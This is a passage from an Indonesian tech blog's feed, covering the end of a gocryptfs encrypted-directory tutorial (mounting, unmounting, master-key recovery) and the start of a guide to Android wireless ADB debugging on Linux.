   &lt;/span&gt;&lt;span&gt;&quot;FeatureFlags&quot;&lt;/span&gt;&lt;span&gt;: [&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;13&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;        &lt;/span&gt;&lt;span&gt;&quot;HKDF&quot;&lt;/span&gt;&lt;span&gt;,&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;14&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;        &lt;/span&gt;&lt;span&gt;&quot;GCMIV128&quot;&lt;/span&gt;&lt;span&gt;,&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;15&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;        &lt;/span&gt;&lt;span&gt;&quot;DirIV&quot;&lt;/span&gt;&lt;span&gt;,&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;16&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;        &lt;/span&gt;&lt;span&gt;&quot;EMENames&quot;&lt;/span&gt;&lt;span&gt;,&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;17&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;        &lt;/span&gt;&lt;span&gt;&quot;LongNames&quot;&lt;/span&gt;&lt;span&gt;,&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;18&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;        &lt;/span&gt;&lt;span&gt;&quot;Raw64&quot;&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;19&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;&lt;span&gt;    &lt;/span&gt;&lt;/span&gt;&lt;span&gt;]&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;20&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;}&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;/code&gt;&lt;/pre&gt;&lt;div&gt;&lt;div&gt;&lt;/div&gt;&lt;div&gt;&lt;/div&gt;&lt;/div&gt;&lt;/figure&gt;&lt;div&gt;&lt;/div&gt;&lt;/div&gt;&lt;span&gt;Show more&lt;/span&gt;&lt;span&gt;Show less&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;p&gt;Adapun file &lt;code&gt;gocryptfs.diriv&lt;/code&gt; sendiri adalah file &lt;em&gt;binary&lt;/em&gt;:&lt;/p&gt;&lt;p&gt;&lt;/p&gt;&lt;figure&gt;&lt;img alt=&quot;gocryptfs.diriv&quot; loading=&quot;lazy&quot; width=&quot;855&quot; height=&quot;455&quot; src=&quot;/_astro/ss4.Bo2uNaUl_RljAs.webp&quot; /&gt;&lt;figcaption&gt;gocryptfs.diriv&lt;/figcaption&gt;&lt;/figure&gt;&lt;p&gt;&lt;/p&gt;&lt;/section&gt;&lt;section&gt;&lt;h3&gt;3. Mounting&lt;a href=&quot;#3-mounting&quot;&gt;&lt;span&gt;#&lt;/span&gt;&lt;/a&gt;&lt;/h3&gt;&lt;p&gt;Berikutnya, kita perlu me-&lt;em&gt;mounting&lt;/em&gt; direktori yang sudah diinisialisasi tadi (&lt;code&gt;encrypted/&lt;/code&gt;) ke direktori filesystem (&lt;code&gt;open/&lt;/code&gt;):&lt;/p&gt;&lt;div&gt;&lt;figure&gt;&lt;figcaption&gt;&lt;span&gt;&lt;/span&gt;&lt;span&gt;Terminal window&lt;/span&gt;&lt;/figcaption&gt;&lt;pre&gt;&lt;code&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;1&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;gocryptfs&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;encrypted/&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;open/&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;/code&gt;&lt;/pre&gt;&lt;div&gt;&lt;div&gt;&lt;/div&gt;&lt;div&gt;&lt;/div&gt;&lt;/div&gt;&lt;/figure&gt;&lt;/div&gt;&lt;p&gt;Nanti kita akan diminta memasukkan password yang sudah kita buat sebelumnya, tinggal di-&lt;em&gt;input&lt;/em&gt;-kan saja.&lt;/p&gt;&lt;p&gt;&lt;/p&gt;&lt;figure&gt;&lt;img alt=&quot;Mounting&quot; loading=&quot;lazy&quot; width=&quot;667&quot; height=&quot;555&quot; src=&quot;/_astro/ss6.CAybNt0z_Z5w0Fs.webp&quot; /&gt;&lt;figcaption&gt;Mounting&lt;/figcaption&gt;&lt;/figure&gt;&lt;p&gt;&lt;/p&gt;&lt;/section&gt;&lt;section&gt;&lt;h3&gt;4. Adding files&lt;a href=&quot;#4-adding-files&quot;&gt;&lt;span&gt;#&lt;/span&gt;&lt;/a&gt;&lt;/h3&gt;&lt;p&gt;Sekarang, kita sudah bisa menambahkan file dan direktori di dalam direktori &lt;code&gt;open/&lt;/code&gt;.&lt;/p&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;&lt;/div&gt;&lt;div&gt;Perhatikan!&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;p&gt;Direktori yang kita isi dengan file atau sub-direktori yang ingin dienkripsi adalah direktori yang tidak kita inisialisasi ya. Intinya, direktori yang di dalamnya ada 2 file “spesial” tadi, tidak perlu kita apa-apakan. Jadi, yang diisi/dihapus/diubah adalah direktori yang bebas kedua file “spesial” tersebut (dalam hal ini adalah direktori &lt;code&gt;open/&lt;/code&gt;).&lt;/p&gt;&lt;/div&gt;&lt;/div&gt;&lt;p&gt;Berikut demonstrasi menambahkan dan menghapus file dan direktori/folder.&lt;/p&gt;&lt;p&gt;Perhatikan!&lt;/p&gt;&lt;p&gt;File dan direktori/folder yang kita tambahkan ke direktori &lt;code&gt;open/&lt;/code&gt; akan otomatis terenkripsi di file &lt;code&gt;encrypted/&lt;/code&gt;, tidak hanya isi filenya saja yang dienkripsi, tetapi juga nama filenya. Selain itu, ketika kita menambahkan sub-direktori/sub-folder di direktori &lt;code&gt;open/&lt;/code&gt;, maka direktori &lt;code&gt;encrypted/&lt;/code&gt; juga akan otomatis men-&lt;em&gt;generate&lt;/em&gt; file &lt;strong&gt;&lt;code&gt;.diriv&lt;/code&gt;&lt;/strong&gt; di dalamnya.&lt;/p&gt;&lt;/section&gt;&lt;section&gt;&lt;h3&gt;5. Umounting&lt;a href=&quot;#5-umounting&quot;&gt;&lt;span&gt;#&lt;/span&gt;&lt;/a&gt;&lt;/h3&gt;&lt;p&gt;Jika sudah selesai, kita bisa meng-&lt;code&gt;umount&lt;/code&gt; direktori filesystem tersebut (&lt;code&gt;open/&lt;/code&gt;) dengan perintah:&lt;/p&gt;&lt;div&gt;&lt;figure&gt;&lt;figcaption&gt;&lt;span&gt;&lt;/span&gt;&lt;span&gt;Terminal window&lt;/span&gt;&lt;/figcaption&gt;&lt;pre&gt;&lt;code&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;1&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;fusermount&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;-u&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;open&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;/code&gt;&lt;/pre&gt;&lt;div&gt;&lt;div&gt;&lt;/div&gt;&lt;div&gt;&lt;/div&gt;&lt;/div&gt;&lt;/figure&gt;&lt;/div&gt;&lt;p&gt;&lt;/p&gt;&lt;figure&gt;&lt;img alt=&quot;Umounting&quot; loading=&quot;lazy&quot; width=&quot;766&quot; height=&quot;726&quot; src=&quot;/_astro/ss7.DFELY1-I_Z2aQnX1.webp&quot; /&gt;&lt;figcaption&gt;Umounting&lt;/figcaption&gt;&lt;/figure&gt;&lt;p&gt;&lt;/p&gt;&lt;p&gt;Karena direktori &lt;code&gt;open/&lt;/code&gt; hanya digunakan sebagai “mount point” untuk &lt;code&gt;encrypted/&lt;/code&gt;, maka ketika sudah di-&lt;code&gt;umount&lt;/code&gt;, direktori tersebut akan kembali seperti semula (kosong). Bahkan, kita dapat menghapusnya juga.&lt;/p&gt;&lt;p&gt;Yang tersisa hanyalah direktori &lt;code&gt;encrypted/&lt;/code&gt; yang semua file dan sub-direktorinya sudah terenkripsi, baik isinya maupun namanya. Tidak ada orang yang bisa mengetahui isi file-file tersebut (bahkan nama asli file-file-nya juga), kecuali mereka tau password-nya.&lt;/p&gt;&lt;/section&gt;&lt;section&gt;&lt;h3&gt;6. Re-mounting&lt;a href=&quot;#6-re-mounting&quot;&gt;&lt;span&gt;#&lt;/span&gt;&lt;/a&gt;&lt;/h3&gt;&lt;p&gt;Sama seperti proses &lt;em&gt;mounting&lt;/em&gt; sebelumnya, kita hanya perlu sebuah direktori kosong sebagai “mount point”. Kemudian, untuk me-mounting, kita gunakan perintah yang sama.&lt;/p&gt;&lt;div&gt;&lt;figure&gt;&lt;figcaption&gt;&lt;span&gt;&lt;/span&gt;&lt;span&gt;Terminal window&lt;/span&gt;&lt;/figcaption&gt;&lt;pre&gt;&lt;code&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;1&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;mkdir&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;newdir&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;2&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;gocryptfs&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;encrypted/&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;newdir/&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;/code&gt;&lt;/pre&gt;&lt;div&gt;&lt;div&gt;&lt;/div&gt;&lt;div&gt;&lt;/div&gt;&lt;/div&gt;&lt;/figure&gt;&lt;/div&gt;&lt;p&gt;&lt;/p&gt;&lt;figure&gt;&lt;img alt=&quot;Re-mounting&quot; loading=&quot;lazy&quot; width=&quot;726&quot; height=&quot;748&quot; src=&quot;/_astro/ss8.BzjLro4L_ZSw1do.webp&quot; /&gt;&lt;figcaption&gt;Re-mounting&lt;/figcaption&gt;&lt;/figure&gt;&lt;p&gt;&lt;/p&gt;&lt;/section&gt;&lt;section&gt;&lt;h3&gt;7. Master Key&lt;a href=&quot;#7-master-key&quot;&gt;&lt;span&gt;#&lt;/span&gt;&lt;/a&gt;&lt;/h3&gt;&lt;p&gt;Jika kita lupa password, maka selagi masih memiliki &lt;strong&gt;master key&lt;/strong&gt;, masih ada jalan untuk mendekripsi direktori dan file-file tersebut. Oleh karena itu, &lt;strong&gt;master key&lt;/strong&gt; perlu dijaga dengan baik, sebab, jika kita lupa password dan &lt;strong&gt;master key&lt;/strong&gt;-nya juga hilang, maka tamatlah riwayat kita, karena file-file dan direktori terenkripsi itu sudah tidak ada harapan lagi untuk bisa didekripsi.&lt;/p&gt;&lt;p&gt;Berikut adalah cara membuka (mendekripsi) menggunakan &lt;strong&gt;master key&lt;/strong&gt;:&lt;/p&gt;&lt;div&gt;&lt;figure&gt;&lt;figcaption&gt;&lt;span&gt;&lt;/span&gt;&lt;span&gt;Terminal window&lt;/span&gt;&lt;/figcaption&gt;&lt;pre&gt;&lt;code&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;1&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;gocryptfs&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;encrypted&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;&amp;lt;mountpoint_dir&amp;gt;&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;-masterkey=&amp;lt;64&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;digit&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;master&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;key&amp;gt;&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;/code&gt;&lt;/pre&gt;&lt;div&gt;&lt;div&gt;&lt;/div&gt;&lt;div&gt;&lt;/div&gt;&lt;/div&gt;&lt;/figure&gt;&lt;/div&gt;&lt;p&gt;&lt;/p&gt;&lt;figure&gt;&lt;img alt=&quot;Decrypting with master key&quot; loading=&quot;lazy&quot; width=&quot;1276&quot; height=&quot;772&quot; src=&quot;/_astro/ss10.B9Ni6t6E_ZWgd1V.webp&quot; /&gt;&lt;figcaption&gt;Decrypting with master key&lt;/figcaption&gt;&lt;/figure&gt;&lt;p&gt;&lt;/p&gt;&lt;p&gt;Tapi, jika kita langsung meng-&lt;em&gt;input&lt;/em&gt;-kan &lt;strong&gt;master key&lt;/strong&gt;-nya langsung seperti itu, maka &lt;strong&gt;master key&lt;/strong&gt; tersebut bisa saja dibaca via &lt;code&gt;ps ax&lt;/code&gt; dan tersimpan di history shell. Oleh karena itu, ada cara yang lebih aman dan &lt;em&gt;private&lt;/em&gt; untuk meng-input-kan &lt;strong&gt;master key&lt;/strong&gt;, yaitu via &lt;strong&gt;&lt;code&gt;stdin&lt;/code&gt;&lt;/strong&gt; sebagai berikut:&lt;/p&gt;&lt;div&gt;&lt;figure&gt;&lt;figcaption&gt;&lt;span&gt;&lt;/span&gt;&lt;span&gt;Terminal window&lt;/span&gt;&lt;/figcaption&gt;&lt;pre&gt;&lt;code&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;1&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;gocryptfs&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;encrypted&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;&amp;lt;mountpoint_dir&amp;gt;&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;-masterkey=stdin&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;/code&gt;&lt;/pre&gt;&lt;div&gt;&lt;div&gt;&lt;/div&gt;&lt;div&gt;&lt;/div&gt;&lt;/div&gt;&lt;/figure&gt;&lt;/div&gt;&lt;p&gt;Kemudian, nanti akan ada prompt yang meminta &lt;em&gt;input&lt;/em&gt; &lt;strong&gt;master key&lt;/strong&gt;, tinggal di-&lt;em&gt;input&lt;/em&gt;-kan.&lt;/p&gt;&lt;p&gt;&lt;/p&gt;&lt;figure&gt;&lt;img alt=&quot;Decrypting with master key via stdin&quot; loading=&quot;lazy&quot; width=&quot;700&quot; height=&quot;736&quot; src=&quot;/_astro/ss9.CIp_7Jls_Z2oWCGF.webp&quot; /&gt;&lt;figcaption&gt;Decrypting with master key via stdin&lt;/figcaption&gt;&lt;/figure&gt;&lt;p&gt;&lt;/p&gt;&lt;p&gt;Demikian.&lt;br /&gt;
Terima kasih sudah mampir.&lt;br /&gt;
Boleh tinggalkan komentar jika ada saran dan kritik ya!&lt;/p&gt;&lt;/section&gt;&lt;/section&gt;
&lt;section&gt;&lt;h2&gt;Footnotes&lt;a href=&quot;#footnote-label&quot;&gt;&lt;span&gt;#&lt;/span&gt;&lt;/a&gt;&lt;/h2&gt;
&lt;ol&gt;
&lt;li&gt;
&lt;p&gt;&lt;a href=&quot;https://nuetzlich.net../images/gocryptfs/&quot; target=&quot;_blank&quot;&gt;https://nuetzlich.net../images/gocryptfs/&lt;/a&gt; &lt;a href=&quot;#user-content-fnref-1&quot;&gt;↩&lt;/a&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;&lt;a href=&quot;https://chatgpt.com&quot; target=&quot;_blank&quot;&gt;https://chatgpt.com&lt;/a&gt; &lt;a href=&quot;#user-content-fnref-2&quot;&gt;↩&lt;/a&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;&lt;a href=&quot;https://nuetzlich.net../images/gocryptfs/comparison/&quot; target=&quot;_blank&quot;&gt;https://nuetzlich.net../images/gocryptfs/comparison/&lt;/a&gt; &lt;a href=&quot;#user-content-fnref-3&quot;&gt;↩&lt;/a&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;&lt;a href=&quot;https://nuetzlich.net../images/gocryptfs/forward_mode_crypto/&quot; target=&quot;_blank&quot;&gt;https://nuetzlich.net../images/gocryptfs/forward_mode_crypto/&lt;/a&gt; &lt;a href=&quot;#user-content-fnref-5&quot;&gt;↩&lt;/a&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;&lt;a href=&quot;https://nuetzlich.net../images/gocryptfs/quickstart/&quot; target=&quot;_blank&quot;&gt;https://nuetzlich.net../images/gocryptfs/quickstart/&lt;/a&gt; &lt;a href=&quot;#user-content-fnref-4&quot;&gt;↩&lt;/a&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;/ol&gt;
&lt;/section&gt;</content:encoded></item><item><title>Android Wireless Debugging: The Most Convenient Way to Connect to Your Android Device</title><link>https://shangdi.github.io/posts/tech/adb_wireless/</link><guid isPermaLink="true">https://shangdi.github.io/posts/tech/adb_wireless/</guid><description>Connecting your Android device through a USB is pretty mainstream. I will show you that you are actually able to connect it directly through wireless connection here.</description><pubDate>Sun, 17 May 2026 06:21:48 GMT</pubDate><content:encoded>&lt;section&gt;&lt;h2&gt;Intro&lt;a href=&quot;#intro&quot;&gt;&lt;span&gt;#&lt;/span&gt;&lt;/a&gt;&lt;/h2&gt;&lt;p&gt;Di beberapa artikel saya yang lain, terutama yang terkait dengan cara menghubungkan perangkat android ke linux, seperti via &lt;code&gt;scrcpy&lt;/code&gt; atau MTP, keduanya masih sangat bergantung pada kabel USB. Meskipun pada &lt;code&gt;scrcpy&lt;/code&gt; kita juga bisa melakukan &lt;em&gt;wireless connection&lt;/em&gt;, tapi, koneksi awalnya tetap harus menghubungkan kabel USB terlebih dahulu.&lt;/p&gt;&lt;p&gt;Tutorial menghubungkan android ke linux via MTP:&lt;/p&gt;&lt;a href=&quot;/posts/tech/android-mtp/&quot;&gt;&lt;div&gt;&lt;div&gt;Android MTP: The Simplest Way to Connect Your Android Devices to Archlinux via USB&lt;/div&gt;&lt;div&gt;Are you wondering about how to connect your Android phone to Archlinux through a USB? Here, I will explain the easiest way (GUI &amp;amp; CLI) to do that.&lt;/div&gt;&lt;div&gt;&lt;span&gt;2026-04-04&lt;/span&gt;&lt;span&gt;android-mtp&lt;/span&gt;&lt;span&gt;&lt;span&gt;#android&lt;/span&gt;&lt;span&gt;#mtp&lt;/span&gt;&lt;span&gt;#archlinux&lt;/span&gt;&lt;span&gt;#linux&lt;/span&gt;&lt;span&gt;#libmtp&lt;/span&gt;&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;img alt=&quot;&quot; loading=&quot;lazy&quot; width=&quot;480&quot; height=&quot;339&quot; src=&quot;/_astro/featured.nPRJHQMU_U3TNG.webp&quot; /&gt;&lt;/div&gt;&lt;/a&gt;&lt;p&gt;Tutorial menghubungkan android ke linux via &lt;code&gt;scrcpy&lt;/code&gt;:&lt;/p&gt;&lt;a href=&quot;/posts/tech/scrcpy/&quot;&gt;&lt;div&gt;&lt;div&gt;Scrcpy: Open Source Tool for Mirroring Your Android Devices&lt;/div&gt;&lt;div&gt;Mirroring your android devices can never be this easy with open source tool: Scrcpy&lt;/div&gt;&lt;div&gt;&lt;span&gt;2025-06-18&lt;/span&gt;&lt;span&gt;scrcpy&lt;/span&gt;&lt;span&gt;&lt;span&gt;#scrcpy&lt;/span&gt;&lt;span&gt;#android&lt;/span&gt;&lt;span&gt;#wireless&lt;/span&gt;&lt;span&gt;#adb&lt;/span&gt;&lt;span&gt;#linux&lt;/span&gt;&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;img alt=&quot;&quot; loading=&quot;lazy&quot; width=&quot;480&quot; height=&quot;339&quot; src=&quot;/_astro/featured.CLxX3BHa_1kTUS9.webp&quot; /&gt;&lt;/div&gt;&lt;/a&gt;&lt;p&gt;Nah, di artikel ini, saya akan berbagi cara menghubungkan android ke linux hanya dengan &lt;em&gt;wireless connection&lt;/em&gt; saja, sehingga kita tidak tergantung sama sekali dengan kabel USB.&lt;/p&gt;&lt;/section&gt;
&lt;section&gt;&lt;h2&gt;The Essence&lt;a href=&quot;#the-essence&quot;&gt;&lt;span&gt;#&lt;/span&gt;&lt;/a&gt;&lt;/h2&gt;&lt;p&gt;Saya akan tunjukkan langsung caranya, mulai dari instalasi hingga penggunaannya.&lt;/p&gt;&lt;section&gt;&lt;h3&gt;Installation&lt;a href=&quot;#installation&quot;&gt;&lt;span&gt;#&lt;/span&gt;&lt;/a&gt;&lt;/h3&gt;&lt;p&gt;Berikut adalah paket yang perlu di-&lt;em&gt;install&lt;/em&gt; di sistem linux kita terlebih dahulu:&lt;/p&gt;
























&lt;table&gt;&lt;thead&gt;&lt;tr&gt;&lt;th&gt;Distro&lt;/th&gt;&lt;th&gt;Command&lt;/th&gt;&lt;/tr&gt;&lt;/thead&gt;&lt;tbody&gt;&lt;tr&gt;&lt;td&gt;&lt;strong&gt;Debian/Ubuntu&lt;/strong&gt;&lt;/td&gt;&lt;td&gt;&lt;strong&gt;&lt;code&gt;sudo apt install -y android-tools-adb&lt;/code&gt;&lt;/strong&gt;&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td&gt;&lt;strong&gt;Arch Linux&lt;/strong&gt;&lt;/td&gt;&lt;td&gt;&lt;strong&gt;&lt;code&gt;sudo pacman -Sy android-tools&lt;/code&gt;&lt;/strong&gt;&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td&gt;&lt;strong&gt;Fedora&lt;/strong&gt;&lt;/td&gt;&lt;td&gt;&lt;strong&gt;&lt;code&gt;sudo dnf install android-tools&lt;/code&gt;&lt;/strong&gt;&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td&gt;&lt;strong&gt;Opensuse&lt;/strong&gt;&lt;/td&gt;&lt;td&gt;&lt;strong&gt;&lt;code&gt;sudo zypper install android-tools&lt;/code&gt;&lt;/strong&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/tbody&gt;&lt;/table&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;&lt;/div&gt;&lt;div&gt;NOTE&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;p&gt;&lt;strong&gt;NixOS:&lt;/strong&gt;&lt;br /&gt;
Masukkan baris berikut di file konfigurasi (&lt;code&gt;/etc/nixos/configuration.nix&lt;/code&gt;):&lt;/p&gt;&lt;div&gt;&lt;figure&gt;&lt;figcaption&gt;&lt;span&gt;configuration.nix&lt;/span&gt;&lt;/figcaption&gt;&lt;pre&gt;&lt;code&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;1&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;&lt;span&gt;  &lt;/span&gt;&lt;/span&gt;&lt;span&gt;environment&lt;/span&gt;&lt;span&gt;.&lt;/span&gt;&lt;span&gt;systemPackages&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;=&lt;/span&gt;&lt;span&gt; [&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;2&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;&lt;span&gt;    &lt;/span&gt;&lt;/span&gt;&lt;span&gt;pkgs&lt;/span&gt;&lt;span&gt;.&lt;/span&gt;&lt;span&gt;android-tools&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;3&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;&lt;span&gt;  &lt;/span&gt;&lt;/span&gt;&lt;span&gt;]&lt;/span&gt;&lt;span&gt;;&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;/code&gt;&lt;/pre&gt;&lt;div&gt;&lt;div&gt;&lt;/div&gt;&lt;div&gt;&lt;/div&gt;&lt;/div&gt;&lt;/figure&gt;&lt;/div&gt;&lt;p&gt;Atau jika menggunakan &lt;code&gt;nix-shell&lt;/code&gt;:&lt;/p&gt;&lt;div&gt;&lt;figure&gt;&lt;figcaption&gt;&lt;span&gt;&lt;/span&gt;&lt;span&gt;Terminal window&lt;/span&gt;&lt;/figcaption&gt;&lt;pre&gt;&lt;code&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;1&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;nix-shell&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;-p&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;android-tools&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;/code&gt;&lt;/pre&gt;&lt;div&gt;&lt;div&gt;&lt;/div&gt;&lt;div&gt;&lt;/div&gt;&lt;/div&gt;&lt;/figure&gt;&lt;/div&gt;&lt;/div&gt;&lt;/div&gt;&lt;p&gt;Pastikan &lt;code&gt;adb&lt;/code&gt; sudah ter-&lt;em&gt;install&lt;/em&gt; dengan baik dengan perintah:&lt;/p&gt;&lt;div&gt;&lt;figure&gt;&lt;figcaption&gt;&lt;span&gt;&lt;/span&gt;&lt;span&gt;Terminal window&lt;/span&gt;&lt;/figcaption&gt;&lt;pre&gt;&lt;code&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;1&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;adb&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;--version&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;/code&gt;&lt;/pre&gt;&lt;div&gt;&lt;div&gt;&lt;/div&gt;&lt;div&gt;&lt;/div&gt;&lt;/div&gt;&lt;/figure&gt;&lt;/div&gt;&lt;p&gt;&lt;/p&gt;&lt;figure&gt;&lt;img alt=&quot;adb --version&quot; loading=&quot;lazy&quot; width=&quot;347&quot; height=&quot;238&quot; src=&quot;/_astro/ss1.BqCPytwX_Zfa8fm.webp&quot; /&gt;&lt;figcaption&gt;adb --version&lt;/figcaption&gt;&lt;/figure&gt;&lt;p&gt;&lt;/p&gt;&lt;/section&gt;&lt;section&gt;&lt;h3&gt;Usage&lt;a href=&quot;#usage&quot;&gt;&lt;span&gt;#&lt;/span&gt;&lt;/a&gt;&lt;/h3&gt;&lt;p&gt;Berikut adalah langkah-langkah untuk menggunakan fitur &lt;code&gt;adb&lt;/code&gt; &lt;em&gt;wireless&lt;/em&gt;:&lt;/p&gt;&lt;section&gt;&lt;h4&gt;1. In the same network.&lt;a href=&quot;#1-in-the-same-network&quot;&gt;&lt;span&gt;#&lt;/span&gt;&lt;/a&gt;&lt;/h4&gt;&lt;p&gt;Pastikan perangkat linux dan android kalian berada di jaringan yang sama.&lt;/p&gt;&lt;p&gt;Untuk melihat ip address di linux, gunakan perintah:&lt;/p&gt;&lt;div&gt;&lt;figure&gt;&lt;figcaption&gt;&lt;span&gt;&lt;/span&gt;&lt;span&gt;Terminal window&lt;/span&gt;&lt;/figcaption&gt;&lt;pre&gt;&lt;code&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;1&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;ip&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;a&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;# untuk menampilkan semua interface&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;2&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;ip&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;addr&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;show&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;dev&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;wlan0&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;# untuk menampilkan interface `wlan0` saja&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;/code&gt;&lt;/pre&gt;&lt;div&gt;&lt;div&gt;&lt;/div&gt;&lt;div&gt;&lt;/div&gt;&lt;/div&gt;&lt;/figure&gt;&lt;/div&gt;&lt;p&gt;&lt;/p&gt;&lt;figure&gt;&lt;img alt=&quot;ip address linux saya&quot; loading=&quot;lazy&quot; width=&quot;756&quot; height=&quot;292&quot; src=&quot;/_astro/ss2.CZakxKeN_Z1BxK5k.webp&quot; /&gt;&lt;figcaption&gt;ip address linux saya&lt;/figcaption&gt;&lt;/figure&gt;&lt;p&gt;&lt;/p&gt;&lt;p&gt;Untuk melihat ip address di android, pergi ke “&lt;strong&gt;Setting&lt;/strong&gt;” &amp;gt; “&lt;strong&gt;About phone&lt;/strong&gt;” &amp;gt; “&lt;strong&gt;Detailed info and specs&lt;/strong&gt;”. Cari informasi yang menampilkan ip address perangkat android kalian.&lt;/p&gt;&lt;p&gt;&lt;/p&gt;&lt;figure&gt;&lt;img alt=&quot;ip address android saya&quot; loading=&quot;lazy&quot; width=&quot;1080&quot; height=&quot;534&quot; 